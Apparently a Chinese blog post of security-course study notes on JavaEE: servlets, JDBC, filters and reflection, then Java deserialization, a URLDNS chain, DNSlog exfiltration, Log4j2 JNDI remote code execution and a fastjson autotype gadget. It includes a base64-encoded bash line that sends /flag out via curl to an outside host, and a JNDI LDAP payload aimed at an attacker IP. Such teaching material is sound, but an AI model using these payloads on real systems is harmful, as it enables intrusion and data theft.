4. 小迪安全v2023筆記 javaEE應用

4. 小迪安全v2023筆記 javaEE應用

? 大體上跟隨小迪安全的課程,本意是記錄自己的學習歷程,不能說是完全原創吧,大家可以關注一下小迪安全。

若有冒犯,麻煩私信移除。

默認有java基礎。

文章目錄

  • 4. 小迪安全v2023筆記 javaEE應用
    • 0. 一些概念
    • 1. javaEE環境配置
    • 2. Servlet路由,get與post
    • 3. JDBC mybatis hibernate
      • 1. JDBC配置與使用
      • 2. Filter過濾器
      • 3. Listener監聽器
    • 4. java反射
      • 1. Java反射-Class對象類的獲取
      • 2. 利用反射獲取成員變量
      • 3. 不安全命令執行
    • 5. java反序列化初識
      • 1. 重寫readObject方法
      • 2. URLDNS鏈
    • 6. DNSlog
    • 7. 一些第三方組件
      • 1. maven與log4j配置
      • 2. log4j2遠程代碼執行
      • 3. fastjson
    • 參考文章

0. 一些概念

Servlet是運行在Web服務器上的程序,它作為來自Web瀏覽器或其他http客戶端的請求和http服務器上的數據庫或應用程序之間的中間層。使用servlet可以收集來自網頁表單的用戶輸入,呈現來自數據庫或者其他源的記錄,還可以動態創建網頁。

tomcat是免費開源的輕量級服務器。當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上運行JSP 頁面和Servlet。

1. javaEE環境配置

下載安裝配置好以下軟件

jdk7 (jdk-17后面的復現不了)

mysql 8.0

navicat

tomcat 8.5

  • 記得去conf的server.xml里把8080端口改成9528
  • 去conf的logging.properties里修改java.util.logging.ConsoleHandler.encoding = GBK
  • 系統環境變量CATALINA_HOME設置為自己tomcat路徑,系統環境變量Path里添加%CATALINA_HOME%\bin
  • 在cmd里輸入startup.bat,然后訪問127.0.0.1:9528

eclipse IDE for Enterprise Java and Web Developers

Eclipse開發JavaEE環境搭建 IT曉夏

在這里插入圖片描述

web.xml 配置映射關系

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping>
</web-app>

src/main/java/com/example/demo1/test1.java

package com.example.demo1;
import javax.servlet.http.*;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;@WebServlet(name="test1",value="/test")
public class test1 extends  HttpServlet{@Overrideprotected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{//super.doGet(req, resp);System.out.println("hello world");}
}

在這里插入圖片描述

2. Servlet路由,get與post

生命周期

實例化->初始化->服務->消亡

src/main/java/com/example/demo1/test1.java

package com.example.demo1;  import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  @WebServlet(name = "test1", urlPatterns = {"/test"})  
public class test1 extends HttpServlet {  @Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");}@Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, resp);System.out.println("Http servlet");}@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {// TODO Auto-generated method stubsuper.service(req, res);System.out.println("servlet service");}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } }@Override  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); System.out.print(name);resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); }}@Overridepublic void destroy() {// TODO Auto-generated method stubsuper.destroy();System.out.println("destroy");}
}

訪問http://127.0.0.1:9528/javaee1/test

在這里插入圖片描述

在這里插入圖片描述

3. JDBC mybatis hibernate

? JDBC是Java用于數據庫訪問的基礎API,MyBatis是一個持久層框架,它封裝了JDBC并提供靈活的SQL映射功能,使開發者能更方便地操作數據庫;而Hibernate則是一個完整的ORM框架,它允許開發者以面向對象的方式操作數據庫,自動生成和執行SQL語句,提高了開發效率。

1. JDBC配置與使用

1.訪問https://mvnrepository.com,下載數據庫驅動mysql-connector-java.jar

2.將jar拖進WEB-INF的lib目錄下。

3.在Eclipse中,右鍵點擊webapp,選擇 Build Path -> Configure Build Path...

4.選擇Libraries選項,點擊add External jars,添加jar。

在這里插入圖片描述

MysqlServlet.java 普通sql語句

package com.example.demo1;
import java.sql.*;
public class MysqlServlet {//8.0以下//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";//static final String DB_URL="jdbc:mysql://localhost:3306/user";//mysql8.0以上static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";//用戶名,密碼static final String USER ="root";static final String PASS ="123456";public static void main(String[] args) {Connection conn=null;Statement stmt=null;ResultSet rs=null;try {// 加載并注冊JDBC驅動類Class.forName(JDBC_DRIVER);// 建立數據庫連接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 操作數據庫...stmt=conn.createStatement();String sql = "SELECT * FROM t_user";   rs = stmt.executeQuery(sql);  // 處理查詢結果,一次一行 while (rs.next()) {  System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  }// 關閉連接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驅動未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("數據庫連接失敗");e.printStackTrace();}}
}

在這里插入圖片描述

預編譯寫法防sql注入

public static void main(String[] args) {Connection conn=null;PreparedStatement pstmt = null;ResultSet rs=null;try {// 加載并注冊JDBC驅動類Class.forName(JDBC_DRIVER);// 建立數據庫連接conn = DriverManager.getConnection(DB_URL, USER, PASS);// 查詢語句String sql = "SELECT * FROM t_user where id>? and username!=?";   pstmt=conn.prepareStatement(sql);//參數一表示占位符位數(從1開始)pstmt.setInt(1, 1);pstmt.setString(2, "admin");rs = pstmt.executeQuery();  // 處理查詢結果  while (rs.next()) {  System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  }// 關閉連接conn.close();} catch (ClassNotFoundException e) {System.out.println("MySQL JDBC 驅動未找到");e.printStackTrace();} catch (SQLException e) {System.out.println("數據庫連接失敗");e.printStackTrace();}}

2. Filter過濾器

在這里插入圖片描述

XssFilter.java

package com.example.demo1.filter;
import java.io.IOException;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;@WebFilter("/test2")
public class XssFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {//中間件啟動后就自動運行System.out.println("xss過濾開啟");}@Overridepublic void destroy() {//中間件關閉后就自動運行System.out.println("xss銷毀過濾");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {System.out.println("xss正在過濾");HttpServletRequest request2=(HttpServletRequest) request;String name=request2.getParameter("name");if(name!=null && name.contains("<script>")) {System.out.print("存在xss攻擊");}else {chain.doFilter(request,response);//放行}}}

test2.java

package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "test2", urlPatterns = {"/test2"})  
public class test2 extends test1 {  @Overridepublic void init(ServletConfig config) throws ServletException {//自動調用super.init(config);System.out.println("test2 init");}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } out.flush();out.close();}@Override public void destroy() {//當 Servlet 被 Web 服務器移除出服務或者關閉時,自動調用super.destroy();System.out.println("test2 destroy");}
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>javaee1</display-name><welcome-file-list><welcome-file>index.html</welcome-file><welcome-file>index.jsp</welcome-file><welcome-file>index.htm</welcome-file><welcome-file>default.html</welcome-file><welcome-file>default.jsp</welcome-file><welcome-file>default.htm</welcome-file></welcome-file-list><servlet><servlet-name>test1</servlet-name><servlet-class>com.example.demo1.test1</servlet-class></servlet><servlet-mapping><servlet-name>test1</servlet-name><url-pattern>/test</url-pattern></servlet-mapping><servlet><servlet-name>test2</servlet-name><servlet-class>com.example.demo1.test2</servlet-class></servlet><servlet-mapping><servlet-name>test2</servlet-name><url-pattern>/test2</url-pattern></servlet-mapping><filter><filter-name>XssFilter</filter-name><filter-class>com.example.demo1.filter.XssFilter</filter-class></filter><filter-mapping><filter-name>XssFilter</filter-name><url-pattern>/test2</url-pattern></filter-mapping>
</web-app>

在這里插入圖片描述

獲取cookie

Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍歷cookies數組String cname=c.getName();String cvalue=c.getValue();System.out.println(cname+cvalue);
}

3. Listener監聽器

ListenSession.java

package com.example.demo1.Listener;import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{@Overridepublic void sessionCreated(HttpSessionEvent se) {System.out.println("監聽器監聽到了創建");}@Overridepublic void sessionDestroyed(HttpSessionEvent se) {System.out.println("監聽器監聽到了銷毀");}}

DSession.java

package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "ds", urlPatterns = {"/ds"})  
public class DSession extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// TODO Auto-generated method stubSystem.out.println("session銷毀");req.getSession().invalidate();}
}

CSession.java

package com.example.demo1;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name = "cs", urlPatterns = {"/cs"})  
public class CSession extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("創建Session");req.getSession();//創建session}
}

web.xml添加

  <servlet><servlet-name>cs</servlet-name><servlet-class>com.example.demo1.CSession</servlet-class></servlet><servlet-mapping><servlet-name>cs</servlet-name><url-pattern>/cs</url-pattern></servlet-mapping>  <servlet><servlet-name>ds</servlet-name><servlet-class>com.example.demo1.DSession</servlet-class></servlet><servlet-mapping><servlet-name>ds</servlet-name><url-pattern>/ds</url-pattern></servlet-mapping> 

在這里插入圖片描述

4. java反射

如果項目環境壞了,建議刪掉項目,重建一個。

? 反射是Java的特征之一,是一種間接操作目標對象的機制,核心是JVM在運行狀態的時候才動態加載類,對于任意一個類都能夠知道這個類所有的屬性和方法,并且對于任意一個對象,都能夠調用它的方法/訪問屬性。這種動態獲取信息以及動態調用對象方法的功能成為Java語言的反射機制。通過使用反射我們不僅可以獲取到任何類的成員方法(Methods)、成員變量(Fields)、構造方法(Constructors)等信息,還可以動態創建Java類實例、調用任意的類方法、修改任意的類成員變量值等。

1. Java反射-Class對象類的獲取

//1.根據類名:類名.class
Class userClass =User.class;
//2.根據對象:對象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根據全限定類名:Class.forname("全路徑名")
Class ac=Class.forName("com.example.demo1.User");
//4.通過類加載器獲取Class對象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");

要注意的一點,需要把package復制到lib目錄下,然后project->clean,build automatically,不然forname函數找不到路徑。

在這里插入圖片描述

User.java

package com.example.demo1;
public class User {public String name="lihua";public int age=15;public User() {// TODO Auto-generated constructor stub}public User(String n,int a) {// TODO Auto-generated constructor stubthis.name=n;this.age=a;}
}

GetClass.java

package com.example.demo1;
import java.lang.Class;
public class GetClass {public static void main(String[] args) {System.out.println(666);try{ClassLoader clsload=ClassLoader.getSystemClassLoader();Class ac2=clsload.loadClass("com.example.demo1.User");System.out.print(ac2);}catch(Exception e){System.out.print(e);}}
}

2. 利用反射獲取成員變量

//Class類中用于獲取成員變量的方法
Field[] getFields()://返回所有 公共 成員變量對象的數組
Field[] getDeclaredFields()://返回所有成員變量對象的數組
Field getField(String name)://返回單個公共成員變量對象
Field getDeclaredField(String name)://返回單個成員變量對象//Field 類中用于創建對象的方法
void set(Object obj,Object value):賦值
Object get(Object obj)獲取值。//Class類中用于獲取構造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共構造方法對象的數組
Constructor<?>[] getDeclaredConstructors(): 返回所有構造方法對象的數組
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回單個公共構造方法對象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes)://返回單個構造方法對象//Constructor類中用于創建對象的方法
T newInstance(Object... initargs): 根據指定的構造方法創建對象
setAccessible(boolean flag): 設置為true,表示取消訪問檢查//Class類中用于獲取成員方法的方法
Method[] getMethods():返回所有公共成員方法對象的數組,包括繼承的
Method[] getDeclaredMethods():返回所有成員方法對象的數組,不包括繼承的
Method getMethod(String name, Class<?>... parameterTypes) :返回單個公共成員方法對象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回單個成員方法對象//Method類中用于創建對象的方法
Object invoke(Object obj, Object... args):
運行方法
參數一:用obj對象調用該方法
參數二:調用方法的傳遞的參數(如果沒有就不寫)
返回值:方法的返回值(如果沒有就不寫)

在這里插入圖片描述

GetClass.java修改對應部分

			User u=new User();Class ac2=Class.forName("com.example.demo1.User");Field field=ac2.getField("age");Object a=field.get(u);System.out.println(a);//15field.set(u, 44);System.out.print(field.get(u));//44Constructor c1=ac2.getDeclaredConstructor(String.class);//獲取構造方法System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)//臨時開啟對私有的訪問c1.setAccessible(true);User uu=(User)c1.newInstance("lisi");System.out.println(uu.name);//lisiUser u2=new User();Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);m1.invoke(u2,"zzz",66);//zzz 66

User.java 添加類方法

	private User(String n) {this.name=n;}public void ptall(String n,int a) {System.out.println(n+" "+a);}

3. 不安全命令執行

原型:

Runtime.*getRuntime*().exec("calc");

該函數不會解析Shell命令或Shell特性(如管道|、重定向>、反引號等)。

可以顯示調用bash -c執行子查詢

curl  http://`cat /flag`.i5yh54u0.requestrepo.cojava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')

反射:

Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");

5. java反序列化初識

序列化:將內存中的對象壓縮成字節流

反序列化:將字節流轉化成內存中的對象。

幾種創建的序列化和反序列化協議

  • Java內置的writeObject()/readObject()
  • Java內置的XMLDecoder()/XMLEncoder()
  • Xstream
  • SnakeYaml
  • FastJson
  • Jackson

類實現序列化需滿足的條件

  • 實現java.io.Serializeble接口
  • 該類所有屬性必須可序列化
  • 如果有一個屬性不可序列化,那么這個屬性必須注明是短暫的

為什么出現反序列化安全問題

內置原生寫法

  • 重寫readObject方法
  • 輸出調用toString方法

1. 重寫readObject方法

User.java

package com.example.demo1;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable{public String name="lihua";public int age=15;public User() {}public User(String n,int a) {this.name=n;this.age=a;}public String toString() {return "User{"+"name= "+name+" , age= "+age+" }";}public void ptall() {System.out.println(name+" "+age);}private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{//指向正確的defaultReadObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}
}

serializedemo1.java

package com.example.demo1;
import java.io.*;
public class serializedemo1 {public static void main(String[] args)throws IOException {User u =new User("serialize2",63);// 調用方法將User對象序列化并保存到文件 SerializableTest(u);}public static void SerializableTest(Object obj) throws IOException {//將對象obj進行序列化后輸出到1.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(obj);	}
}

Unserializedemo1.java

package com.example.demo1;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class unserializedemo1 {public static void main(String[] args)throws IOException,ClassNotFoundException {//調用下面方法將1.txt反序列化成類對象System.out.println(UnserializableTest("1.txt"));}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//讀取File文件內容進行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}

在這里插入圖片描述

代碼執行,成功彈出計算器。

2. URLDNS鏈

HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

hashCode執行結果觸發dns請求,如果是執行命令的話就是RCE漏洞。

urldns.java

package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{public static void main(String[] args)  throws IOException,ClassNotFoundException{HashMap<URL, Integer> hash=new HashMap<>();URL url =new URL("http://whoami.v0taa6.dnslog.cn");//寫dnslog.cn給的網址,并把whoami以子域名的形式外帶hash.put(url, 1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//將對象obj進行序列化后輸出到dns.txtObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);	}public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {//讀取File文件內容進行反序列化ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));Object o=objectInputStream.readObject();return o;}
}

攻擊腳本ysoserial.jar

6. DNSlog

dnslog.cn

? DNSLog的原理是利用DNS協議的特性,將需要收集的信息編碼成DNS查詢請求,然后將請求發送到DNS服務器,最后通過DNS服務器的響應來獲取信息。

DNS解析流程

在這里插入圖片描述

比如SQL注入時,網站響應無回顯,可以以dnslog子域名的方式外帶SQL結果。

在這里插入圖片描述

7. 一些第三方組件

Maven能夠自動下載項目所需的所有依賴項,并且管理這些依賴的版本,確保項目的構建一致性。

log4j是一個流行的Java日志框架,用于記錄應用程序的運行時信息。

1. maven與log4j配置

Maven工程的安裝配置及搭建 ChatYU

下載安裝apache-maven-3.8.8

添加環境變量MAVEN_HOME,值為apache-maven-3.8.8的路徑。

環境變量path添加%MAVEN_HOME%\bin

在apache-maven-3.8.8-bin目錄下新建mvn_repository目錄。

在apache-maven-3.8.8\conf\settings.xml里修改對應的值,如下。

<localRepository>你的路徑/apache-maven-3.8.8-bin/mvn_repository</localRepository>

再修改生效的mirrors標簽同下(換源):

<mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf>        </mirror><mirror>  <id>alimaven</id>  <mirrorOf>central</mirrorOf>  <name>aliyun maven</name>  <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>  </mirror> </mirrors>

eclipse點擊windows->preferences->maven->installations->add。添加完后勾選mvn_repository。

在這里插入圖片描述

在這里插入圖片描述

新建maven project,要注意選internal和webapp。

在這里插入圖片描述

進程卡在33%左右時,需要在console輸入Y。

進入mvnrepository.com,搜索apache log4j core(2.14.1版本)和java servlet api (3.1.0)。

將使用maven的依賴添加到maven的pom.xml中,然后run as maven test,下載依賴。

pom.xml參考如下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>mavenexample1.com</groupId><artifactId>maven1</artifactId><packaging>war</packaging><version>0.0.1-SNAPSHOT</version><name>maven1 Maven Webapp</name><url>http://maven.apache.org</url><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency></dependencies><build><finalName>maven1</finalName></build>
</project>

java Resources/src/main/java下新建package com.example.demo2,在package里新建log4jTest.java

log4jTest.java

package com.example.demo2;import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;import java.io.IOException;
import java.io.PrintWriter;import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Overridepublic void init(ServletConfig config) throws ServletException {// TODO Auto-generated method stubsuper.init(config);System.out.println("init");String codeString="${java:os}";logger.error("{}",codeString);}@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");req.setCharacterEncoding("utf-8");String name = req.getParameter("name"); resp.setContentType("text/html;charset=UTF-8");PrintWriter out = resp.getWriter(); if (name != null) {  out.println("name: " + name); } else {  out.println("No name parameter found.");  } }
}

web.xml參考如下

<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>maven1</display-name><servlet><servlet-name>log4j</servlet-name><servlet-class>com.example.demo2.log4jTest</servlet-class></servlet><servlet-mapping><servlet-name>log4j</servlet-name><url-pattern>/log4j</url-pattern></servlet-mapping></web-app>

然后把package復制到lib目錄下,然后project->clean,build automatically。(讓項目能找到你的代碼路徑)

在這里插入圖片描述

然后把在中間servers->tomcat v8.5添加maven1,并運行。

在這里插入圖片描述

查看運行結果

在這里插入圖片描述

2. log4j2遠程代碼執行

? Java 命名和目錄接口 (JNDI) 是一種 Java API,它允許 Java 軟件客戶端通過名稱發現和查找數據和對象。JNDI 提供了一個通用接口,用于訪問不同的命名和目錄服務,例如 LDAP、DNS 和 NIS 提供的服務。JNDI 可用于訪問 Java EE 應用程序中的數據庫、隊列和 EJB(Enterprise JavaBeans)等資源,也可用于通過 RMI(遠程方法調用)或 CORBA(通用對象請求代理架構)訪問遠程對象)。

高版本jdk利用

https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

https://www.cnblogs.com/uf9n1x/p/17343393.html

低版本jdk利用

自行下載JNDIExploit-SNAPSHOT.jar。https://www.cnblogs.com/Welk1n/p/11701401.html

攻擊機 kali linux

java -jar ./JNDI*  -C "calc" -A 192.168.10.4

靶機,需要控制eclipse編譯時的jdk版本

@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{private static final Logger logger=LogManager.getLogger(log4jTest.class);@Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  //System.out.println("hello world");String code= req.getParameter("code"); PrintWriter out = resp.getWriter(); if (code != null) {  out.println("code exists" ); logger.error("{}",code);} else {  out.println("No code parameter found.");  } }
}

訪問網頁時傳參?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}

各位自行嘗試。

3. fastjson

mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代碼放進pom.xml,maven test。

在這里插入圖片描述

fastjsondemo1.java

package com.example.demo2;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;class fastjsondemo1{public static void main(String[] args) {//u Object 對象User u=new User();//使用fastjson的函數來把對象轉為json數據String j1=JSONObject.toJSONString(u);System.out.println(j1);//{"age":15,"name":"lihua"}String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}//json->對象String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject1=JSON.parseObject(test);System.out.println(jsonObject1);//{"name":"lihua","age":15}//若修改@type的值String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";JSONObject jsonObject2=JSON.parseObject(test1);System.out.println(jsonObject2);//跳計算器}
}

Run1.java

package com.example.demo2;
import java.io.IOException;
public class Run1 {public Run1( )throws IOException {// TODO Auto-generated constructor stubRuntime.getRuntime().exec("calc");}}

參考文章

  1. JAVA安全基礎(二)-- 反射機制 小陽

  2. JAVA反序列化初食 將遺憾寫成歌

  3. DNSLog漏洞探測(一)之DNSLog介紹 怰月

  4. JNDI注入學習 FlynnAAAA

  5. JNDI&RMI&LDAP介紹+log4j分析 enhengzZ

  6. Java反序列化:CC1鏈 詳解 Jay 17

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/44390.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/44390.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/44390.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

分塊

分塊 分塊是將線段樹的懶標記方法一般化&#xff0c;可證明通常情況下以 n \sqrt n n ?分塊是最優解。 分塊思想核心&#xff1a; 整塊打包維護 碎塊逐個枚舉 int len,num;//len:每塊長度,num:分塊數量 int begin[],end[],pos[],sum[],add[];//begin,end:每塊的始末下標 po…

linux下安裝cutecom串口助手;centos安裝cutecom串口助手;rpm安裝包安裝cutecom串口助手

在支持apt-get的系統下安裝 在終端命令行中輸入&#xff1a; sudo apt-get install cutecom 安裝好后輸入 sudo cutecom 就可以了 關于如何使用&#xff0c;可以看這個https://www.cnblogs.com/xingboy/p/14388610.html 如果你的電腦不支持apt-get。 那我們就通過安裝包…

‘wget‘ 不是內部或外部命令,也不是可運行的程序

在Windows環境下創建了虛擬環境并安裝了wget包&#xff0c;但在使用該命令的時候仍然報錯&#xff0c;‘wget’ 不是內部或外部命令,也不是可運行的程序 解決方案&#xff1a; 去官網下載對應位數的.exe文件&#xff0c;將其放在C:\Windows\System32目錄下即可, 別下錯版本&a…

寶塔面板部署Flask項目教程(最新版)

本教程適用于最新版的寶塔&#xff01;&#xff01;&#xff01; 本教程適用于最新版的寶塔&#xff01;&#xff01;&#xff01; 本教程適用于最新版的寶塔&#xff01;&#xff01;&#xff01; 1 準備 1.1 依賴文件 在你的項目根目錄下生成一個依賴文件&#xff0c;執行…

美業收銀系統怎么選?哪些功能實用?美業門店管理系統|拓客系統

選擇美業會員系統時&#xff0c;你可以考慮以下幾個方面的功能來確定哪些對你最實用&#xff1a; 1.會員管理&#xff1a; 系統應該能夠輕松管理會員資料、積分、消費記錄等信息&#xff0c;以便更好地了解客戶需求并提供個性化服務。 2.促銷與營銷工具&#xff1a; 包括發…

Perl中追蹤文件脈動:文件系統事件通知機制全解析

&#x1f4e1; Perl中追蹤文件脈動&#xff1a;文件系統事件通知機制全解析 在Perl編程中&#xff0c;文件系統事件通知機制允許程序響應文件或目錄的變化&#xff0c;例如文件的創建、刪除、修改等。這種機制對于實現如文件監控、數據同步、自動化任務等應用至關重要。本文將…

電商開通云賬戶分賬系統實現功能場景

什么是虛擬銀行賬戶: 銀行虛擬戶也稱為銀行虛擬公戶&#xff0c;是指企業或機構在銀行開設的一種特殊類型的銀行賬戶。它與普通銀行賬戶不同&#xff0c;虛擬公戶通常不涉及實際的資金流動&#xff0c;而主要用于管理和監控資金流向&#xff0c;以及實現特定的業務和財務目標。…

vue3項目安裝和使用element-plus

